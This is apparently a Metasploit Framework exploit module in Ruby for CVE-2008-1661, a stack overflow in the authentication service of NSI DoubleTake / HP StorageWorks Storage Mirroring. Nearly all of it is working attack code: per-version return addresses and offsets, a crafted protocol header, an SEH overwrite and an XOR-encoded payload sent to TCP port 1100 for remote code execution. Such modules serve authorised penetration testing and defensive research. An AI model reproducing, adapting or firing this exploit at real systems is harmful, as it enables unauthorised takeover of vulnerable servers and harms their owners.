88 lines
2.2 KiB
Ruby
88 lines
2.2 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Misc::Doubletake < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the authentication mechanism of
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NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
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was found by Titon of Bastard Labs.
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},
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'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2008-1661'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
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['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],
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['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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))
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register_options(
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[
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Opt::RPORT(1100)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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header =
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"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
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"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
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xor = Rex::Encoding::Xor::Byte
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filler = rand_text_english(1) * (target['Offset'])
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seh = generate_seh_payload(target.ret)
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buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
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sploit = header + filler + buffercoded[0]
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sock.put(sploit)
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handler
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disconnect
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end
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end
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end
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